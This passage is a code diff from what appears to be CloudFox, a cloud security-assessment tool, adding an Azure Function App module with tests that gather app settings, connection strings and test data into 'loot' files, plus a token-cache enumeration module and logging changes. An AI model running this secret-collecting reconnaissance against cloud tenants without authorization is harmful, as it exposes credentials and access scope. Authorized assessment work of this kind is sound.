||||
if loot.TestData != "" {
|
||||
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "function-test-data", Contents: loot.TestData})
|
||||
}
|
||||
if len(o.Loot.LootFiles) > 0 {
|
||||
o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
|
||||
} else {
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/web/mgmt/web"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func TestGetFunctionDataAndConfigurationLoot(t *testing.T) {
|
||||
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
|
||||
t.Cleanup(func() {
|
||||
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
|
||||
})
|
||||
getFunctionApps = func(string) ([]web.Site, error) {
|
||||
return []web.Site{
|
||||
{Name: ptr.String("process-orders"), Kind: ptr.String("functionapp,linux"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/process-orders"), SiteProperties: &web.SiteProperties{DefaultHostName: ptr.String("process-orders.azurewebsites.net")}},
|
||||
{Name: ptr.String("ordinary-web-app"), Kind: ptr.String("app")},
|
||||
}, nil
|
||||
}
|
||||
getFunctionConfiguration = func(_, resourceGroup, name string) (functionConfiguration, error) {
|
||||
if resourceGroup != "apps" || name != "process-orders" {
|
||||
t.Fatalf("unexpected configuration target %s/%s", resourceGroup, name)
|
||||
}
|
||||
return functionConfiguration{AppSettings: map[string]*string{"API_KEY": ptr.String("secret")}, ConnectionStrings: map[string]*web.ConnStringValueTypePair{"Database": {Value: ptr.String("Server=db")}}, AuthSettings: web.SiteAuthSettingsV2{SiteAuthSettingsV2Properties: &web.SiteAuthSettingsV2Properties{Platform: &web.AuthPlatform{Enabled: ptr.Bool(true)}, IdentityProviders: &web.IdentityProviders{AzureActiveDirectory: &web.AzureActiveDirectory{Enabled: ptr.Bool(true)}}}}}, nil
|
||||
}
|
||||
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) {
|
||||
return []web.FunctionEnvelope{{Name: ptr.String("process-orders/HttpTrigger"), FunctionEnvelopeProperties: &web.FunctionEnvelopeProperties{InvokeURLTemplate: ptr.String("https://process-orders.azurewebsites.net/api/orders"), Config: map[string]any{"bindings": []any{map[string]any{"type": "httpTrigger", "authLevel": "function"}}}, IsDisabled: ptr.Bool(false), TestData: ptr.String(`{"orderId":42}`)}}}, nil
|
||||
}
|
||||
sub := subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")}
|
||||
rows, loot, warnings, err := getFunctionData(sub)
|
||||
if err != nil || len(warnings) != 0 {
|
||||
t.Fatalf("unexpected errors: err=%v warnings=%v", err, warnings)
|
||||
}
|
||||
if len(rows) != 1 || rows[0][0] != "process-orders" || rows[0][1] != "HttpTrigger" || rows[0][2] != "HTTP: https://process-orders.azurewebsites.net/api/orders" || !strings.Contains(rows[0][3], "Function key") || !strings.Contains(rows[0][3], "Entra ID") || rows[0][4] != "Enabled" || rows[0][5] != "Production" || rows[0][6] != "sub" {
|
||||
t.Fatalf("unexpected function rows: %+v", rows)
|
||||
}
|
||||
for _, value := range []string{"API_KEY=secret", "Database=Server=db", "Entra ID"} {
|
||||
if !strings.Contains(loot.Configuration, value) {
|
||||
t.Errorf("loot missing %q: %s", value, loot.Configuration)
|
||||
}
|
||||
}
|
||||
for _, value := range []string{"az functionapp function show", `--function-name "HttpTrigger"`, `{"orderId":42}`} {
|
||||
if !strings.Contains(loot.TestData, value) {
|
||||
t.Errorf("test-data loot missing %q: %s", value, loot.TestData)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetFunctionDataFallsBackWhenEnrichmentFails(t *testing.T) {
|
||||
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
|
||||
t.Cleanup(func() {
|
||||
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
|
||||
})
|
||||
getFunctionApps = func(string) ([]web.Site, error) {
|
||||
return []web.Site{{Name: ptr.String("visible-app"), Kind: ptr.String("functionapp"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/visible-app"), SiteProperties: &web.SiteProperties{DefaultHostName: ptr.String("visible.azurewebsites.net")}}}, nil
|
||||
}
|
||||
getFunctionConfiguration = func(_, _, _ string) (functionConfiguration, error) {
|
||||
return functionConfiguration{}, errors.New("forbidden")
|
||||
}
|
||||
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) { return nil, nil }
|
||||
|
||||
rows, _, warnings, err := getFunctionData(subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")})
|
||||
if err != nil || len(rows) != 1 || rows[0][0] != "visible-app" || rows[0][2] != "App URL: https://visible.azurewebsites.net" || rows[0][4] != "Unknown" || len(warnings) != 1 {
|
||||
t.Fatalf("expected visible fallback row and warning, got rows=%+v warnings=%v err=%v", rows, warnings, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetFunctionDataUsesCronScheduleAsTrigger(t *testing.T) {
|
||||
originalApps, originalConfig, originalFunctions := getFunctionApps, getFunctionConfiguration, getFunctions
|
||||
t.Cleanup(func() {
|
||||
getFunctionApps, getFunctionConfiguration, getFunctions = originalApps, originalConfig, originalFunctions
|
||||
})
|
||||
getFunctionApps = func(string) ([]web.Site, error) {
|
||||
return []web.Site{{Name: ptr.String("scheduled-app"), Kind: ptr.String("functionapp"), ID: ptr.String("/subscriptions/sub/resourceGroups/apps/providers/Microsoft.Web/sites/scheduled-app")}}, nil
|
||||
}
|
||||
getFunctionConfiguration = func(_, _, _ string) (functionConfiguration, error) { return functionConfiguration{}, nil }
|
||||
getFunctions = func(_, _, _ string) ([]web.FunctionEnvelope, error) {
|
||||
return []web.FunctionEnvelope{{
|
||||
Name: ptr.String("scheduled-app/Cleanup"),
|
||||
FunctionEnvelopeProperties: &web.FunctionEnvelopeProperties{
|
||||
Config: map[string]any{"bindings": []any{map[string]any{"type": "timerTrigger", "schedule": "0 */5 * * * *"}}},
|
||||
IsDisabled: ptr.Bool(true),
|
||||
},
|
||||
}}, nil
|
||||
}
|
||||
rows, _, _, err := getFunctionData(subscriptions.Subscription{SubscriptionID: ptr.String("sub"), DisplayName: ptr.String("Production")})
|
||||
if err != nil || len(rows) != 1 || rows[0][2] != "Time Trigger: 0 */5 * * * *" || rows[0][4] != "Disabled" {
|
||||
t.Fatalf("expected CRON schedule trigger, got rows=%+v err=%v", rows, err)
|
||||
}
|
||||
}
|
||||
+4
-12
@@ -10,8 +10,6 @@ import (
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
|
||||
@@ -40,10 +38,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
|
||||
},
|
||||
}
|
||||
|
||||
fmt.Printf(
|
||||
"[%s][%s] Gathering inventory for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(o.CallingModule),
|
||||
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
|
||||
azureLogger.InfoM(fmt.Sprintf("Gathering inventory for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), o.CallingModule)
|
||||
|
||||
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
|
||||
@@ -57,7 +52,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
|
||||
internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: fmt.Sprintf(o.CallingModule)})
|
||||
Name: o.CallingModule})
|
||||
|
||||
if body != nil {
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
@@ -76,7 +71,7 @@ func AzInventoryCommand(AzTenantID, AzSubscriptionID, AzOutputDirectory, Version
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_INVENTORY_MODULE_NAME)
|
||||
}
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
return nil
|
||||
@@ -101,10 +96,7 @@ func runInventoryCommandForSingleSubscription(AzSubscription string, AzOutputDir
|
||||
o.PrefixIdentifier = AzSubscriptionInfo.Name
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
|
||||
|
||||
fmt.Printf(
|
||||
"[%s][%s] Gathering inventory for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(o.CallingModule),
|
||||
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
|
||||
azureLogger.InfoM(fmt.Sprintf("Gathering inventory for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), o.CallingModule)
|
||||
|
||||
// populate the table data
|
||||
header, body, err = getInventoryInfoPerSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID)
|
||||
|
||||
+22
-31
@@ -4,7 +4,6 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
@@ -16,7 +15,6 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
|
||||
@@ -39,19 +37,13 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
|
||||
if AzTenantID != "" && AzSubscription == "" {
|
||||
// cloudfox azure rbac --tenant [TENANT_ID | PRIMARY_DOMAIN]
|
||||
|
||||
var err error
|
||||
tenantInfo := populateTenant(AzTenantID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating RBAC permissions for tenant %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
|
||||
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating RBAC permissions for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_RBAC_MODULE_NAME)
|
||||
|
||||
header, body, err = getRBACperTenant(ptr.ToString(tenantInfo.ID), c)
|
||||
header, body, err := getRBACperTenant(ptr.ToString(tenantInfo.ID), c)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -69,8 +61,7 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
|
||||
o.PrefixIdentifier = AzSubscriptionInfo.Name
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating RBAC permissions for subscription %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
|
||||
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating RBAC permissions for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_RBAC_MODULE_NAME)
|
||||
header, body = getRBACperSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID, c)
|
||||
o.Table.TableFiles = append(o.Table.TableFiles,
|
||||
internal.TableFile{
|
||||
@@ -80,7 +71,7 @@ func AzRBACCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
|
||||
if body != nil {
|
||||
@@ -142,13 +133,13 @@ func (c *CloudFoxRBACclient) initialize(tenantID string, subscriptionIDs []strin
|
||||
for _, subID := range subscriptionIDs {
|
||||
rd, err := getRoleDefinitions(subID)
|
||||
if err != nil {
|
||||
fmt.Printf("[%s] failed to get role definitions for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
|
||||
azureLogger.WarnM(fmt.Sprintf("Failed to get role definitions for subscription %s: %s. Skipping it.", subID, err), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
c.roleDefinitions = append(c.roleDefinitions, rd...)
|
||||
|
||||
ra, err := getRoleAssignments(subID)
|
||||
if err != nil {
|
||||
fmt.Printf("[%s] failed to get role assignments for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
|
||||
azureLogger.WarnM(fmt.Sprintf("Failed to get role assignments for subscription %s: %s. Skipping it.", subID, err), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
c.roleAssignments = append(c.roleAssignments, ra...)
|
||||
}
|
||||
@@ -239,11 +230,11 @@ func mockedGetAzureADUsers(tenantID string) ([]graphrbac.User, error) {
|
||||
|
||||
file, err := os.ReadFile(globals.AAD_USERS_TEST_FILE)
|
||||
if err != nil {
|
||||
log.Fatalf("could not read file %s", globals.AAD_USERS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
err = json.Unmarshal(file, &users)
|
||||
if err != nil {
|
||||
log.Fatalf("could not unmarshall file %s", globals.AAD_USERS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
return users.AzureADUsers, nil
|
||||
}
|
||||
@@ -253,15 +244,15 @@ func generateAzureADUsersTestFIle(tenantID string) {
|
||||
// ObjectID *string `json:"objectId,omitempty"`
|
||||
users, err := getAzureADUsers(tenantID)
|
||||
if err != nil {
|
||||
log.Fatalf("could not enumerate users for tenant %s", tenantID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not enumerate users for tenant %s", tenantID), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
usersJSON, err := json.Marshal(AzureADUsersTestFile{AzureADUsers: users})
|
||||
if err != nil {
|
||||
log.Fatalf("could not marshall json for azure ad users in tenant %s", tenantID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for Azure AD users in tenant %s", tenantID), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
err = os.WriteFile(globals.AAD_USERS_TEST_FILE, usersJSON, os.ModeAppend)
|
||||
if err != nil {
|
||||
log.Fatalf("could not write to azure ad users test file %s", globals.AAD_USERS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not write to Azure AD users test file %s", globals.AAD_USERS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -291,11 +282,11 @@ func mockedGetRoleDefinitions(subscriptionID string) ([]authorization.RoleDefini
|
||||
var roleDefinitions RoleDefinitionTestFile
|
||||
file, err := os.ReadFile(globals.ROLE_DEFINITIONS_TEST_FILE)
|
||||
if err != nil {
|
||||
log.Fatalf("could not read file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
err = json.Unmarshal(file, &roleDefinitions)
|
||||
if err != nil {
|
||||
log.Fatalf("could not unmarshall file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
return roleDefinitions.RoleDefinitions, nil
|
||||
}
|
||||
@@ -307,11 +298,11 @@ func generateRoleDefinitionsTestFile(subscriptionID string) {
|
||||
|
||||
roleDefinitions, err := getRoleDefinitions(subscriptionID)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
roleAssignments, err := getRoleAssignments(subscriptionID)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
azureLogger.FatalM(err.Error(), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
var roleDefinitionsResults []authorization.RoleDefinition
|
||||
|
||||
@@ -333,12 +324,12 @@ func generateRoleDefinitionsTestFile(subscriptionID string) {
|
||||
|
||||
rolesjson, err := json.Marshal(tf)
|
||||
if err != nil {
|
||||
log.Fatalf("could not marshall json for role definitions in subscription %s", subscriptionID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for role definitions in subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
|
||||
err = os.WriteFile(globals.ROLE_DEFINITIONS_TEST_FILE, rolesjson, os.ModeAppend)
|
||||
if err != nil {
|
||||
log.Fatalf("could not write to role definitions test file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not write to role definitions test file %s", globals.ROLE_DEFINITIONS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -367,11 +358,11 @@ func mockedGetRoleAssignments(subscriptionID string) ([]authorization.RoleAssign
|
||||
var allRoleAssignments, roleAssignmentsResults []authorization.RoleAssignment
|
||||
file, err := os.ReadFile(globals.ROLE_ASSIGNMENTS_TEST_FILE)
|
||||
if err != nil {
|
||||
log.Fatalf("could not read file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
err = json.Unmarshal(file, &allRoleAssignments)
|
||||
if err != nil {
|
||||
log.Fatalf("could not unmarshall file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
for _, ra := range allRoleAssignments {
|
||||
roleAssignmentSubscriptionID := strings.Split(ptr.ToString(ra.Properties.RoleDefinitionID), "/")[2]
|
||||
@@ -385,15 +376,15 @@ func mockedGetRoleAssignments(subscriptionID string) ([]authorization.RoleAssign
|
||||
func generateRoleAssignmentsTestFile(subscriptionID string) {
|
||||
ra, err := getRoleAssignments(subscriptionID)
|
||||
if err != nil {
|
||||
log.Fatalf("could not generate role assignments for subscription %s", subscriptionID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not generate role assignments for subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
roleAssginments, err := json.Marshal(RoleAssignmentsTestFile{RoleAssignments: ra})
|
||||
if err != nil {
|
||||
log.Fatalf("could not marshall json for role assignments in subscription %s", subscriptionID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not marshal JSON for role assignments in subscription %s", subscriptionID), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
err = os.WriteFile(globals.ROLE_ASSIGNMENTS_TEST_FILE, roleAssginments, os.ModeAppend)
|
||||
if err != nil {
|
||||
log.Fatalf("could not write to azure ad users test file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not write to role assignments test file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE), globals.AZ_RBAC_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
var azureLogger = internal.NewLogger()
|
||||
|
||||
type TenantInfo struct {
|
||||
ID *string
|
||||
DefaultDomain *string
|
||||
|
||||
+4
-11
@@ -16,7 +16,6 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
// Color functions
|
||||
@@ -46,9 +45,7 @@ func AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirect
|
||||
|
||||
var err error
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating storage accounts for tenant %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME),
|
||||
fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating storage accounts for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_STORAGE_MODULE_NAME)
|
||||
|
||||
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
|
||||
@@ -87,7 +84,7 @@ func AzStorageCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirect
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_STORAGE_MODULE_NAME)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -115,11 +112,7 @@ func runStorageCommandForSingleSubcription(AzSubscription string, AzOutputDirect
|
||||
o.PrefixIdentifier = AzSubscriptionInfo.Name
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
|
||||
|
||||
fmt.Printf(
|
||||
"[%s][%s] Enumerating storage accounts for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
|
||||
color.CyanString(globals.AZ_STORAGE_MODULE_NAME),
|
||||
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating storage accounts for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_STORAGE_MODULE_NAME)
|
||||
//AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscription))
|
||||
header, body, publicBlobURLs, err = getStorageInfoPerSubscription(ptr.ToString(tenantInfo.ID), AzSubscriptionInfo.ID)
|
||||
if err != nil {
|
||||
@@ -167,7 +160,7 @@ func writeBlobURLslootFile(callingModule, controlMessagePrefix, outputDirectory
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot file written to [%s]\n", cyan(callingModule), cyan(controlMessagePrefix), file.Name())
|
||||
azureLogger.SuccessM(fmt.Sprintf("Loot file written to [%s]", file.Name()), callingModule)
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
)
|
||||
|
||||
func AzTokenCacheCommand(outputDirectory, version string, wrap bool, verbosity int, listResourceGroups bool) error {
|
||||
azureLogger.InfoM("Enumerating Azure CLI sessions...", globals.AZ_TOKENCACHE_MODULE_NAME)
|
||||
header, body := getTokenCacheRelevantDataSubsOnly()
|
||||
fileName := globals.AZ_TOKENCACHE_MODULE_NAME + "-subscriptions"
|
||||
if listResourceGroups {
|
||||
header, body = getTokenCacheRelevantDataPerRG()
|
||||
fileName = globals.AZ_TOKENCACHE_MODULE_NAME + "-resource-groups"
|
||||
}
|
||||
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: globals.AZ_TOKENCACHE_MODULE_NAME,
|
||||
PrefixIdentifier: "N/A",
|
||||
Table: internal.TableClient{
|
||||
Wrap: wrap,
|
||||
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "tokencache-data"),
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: fmt.Sprintf("%s-%s", fileName, strconv.FormatInt(time.Now().Unix(), 10)),
|
||||
})
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
func getTokenCacheRelevantDataPerRG() ([]string, [][]string) {
|
||||
header := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name", "RG Name", "Region"}
|
||||
var body [][]string
|
||||
for _, tenant := range getTenants() {
|
||||
for _, subscription := range GetSubscriptions() {
|
||||
if ptr.ToString(tenant.TenantID) != ptr.ToString(subscription.TenantID) {
|
||||
continue
|
||||
}
|
||||
for _, resourceGroup := range getResourceGroups(ptr.ToString(subscription.SubscriptionID)) {
|
||||
body = append(body, []string{ptr.ToString(subscription.TenantID), ptr.ToString(tenant.DefaultDomain), ptr.ToString(subscription.SubscriptionID), ptr.ToString(subscription.DisplayName), ptr.ToString(resourceGroup.Name), ptr.ToString(resourceGroup.Location)})
|
||||
}
|
||||
}
|
||||
}
|
||||
return header, body
|
||||
}
|
||||
|
||||
func getTokenCacheRelevantDataSubsOnly() ([]string, [][]string) {
|
||||
header := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name"}
|
||||
var body [][]string
|
||||
for _, tenant := range getTenants() {
|
||||
for _, subscription := range GetSubscriptions() {
|
||||
if ptr.ToString(tenant.TenantID) == ptr.ToString(subscription.TenantID) {
|
||||
body = append(body, []string{ptr.ToString(subscription.TenantID), ptr.ToString(tenant.DefaultDomain), ptr.ToString(subscription.SubscriptionID), ptr.ToString(subscription.DisplayName)})
|
||||
}
|
||||
}
|
||||
}
|
||||
return header, body
|
||||
}
|
||||
+7
-13
@@ -16,8 +16,6 @@ import (
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
|
||||
@@ -39,9 +37,7 @@ func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory,
|
||||
Wrap: AzWrapTable,
|
||||
},
|
||||
}
|
||||
fmt.Printf("[%s][%s] Enumerating VMs for tenant %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_VMS_MODULE_NAME),
|
||||
